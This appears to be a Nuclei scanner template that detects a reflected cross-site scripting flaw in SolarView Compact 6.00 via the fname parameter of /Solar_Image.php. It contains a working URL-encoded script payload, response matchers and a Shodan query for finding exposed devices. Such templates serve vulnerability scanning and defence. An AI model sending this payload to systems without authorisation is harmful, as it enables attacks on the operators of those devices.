id: solarview-compact-xss

info:
  name: SolarView Compact 6.00 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    SolarView Compact 6.00 contains a cross-site scripting vulnerability via fname at /Solar_Image.php.
  reference:
    - https://www.exploit-db.com/exploits/50968
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:h:contec:solarview_compact:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"SolarView Compact"
    product: solarview_compact
    vendor: contec
  tags: xss,solarview,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="test"><script>alert(document.domain)</script>">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100eef9c28ee926f7a8b47183a1506218bb750c2749085770869146759909a81711022100b3947ed0bbef4c9a43cf4453cd47bbdce7161c766eac9aa12f971c067be55321:922c64590222798bb761d5b6d8e72950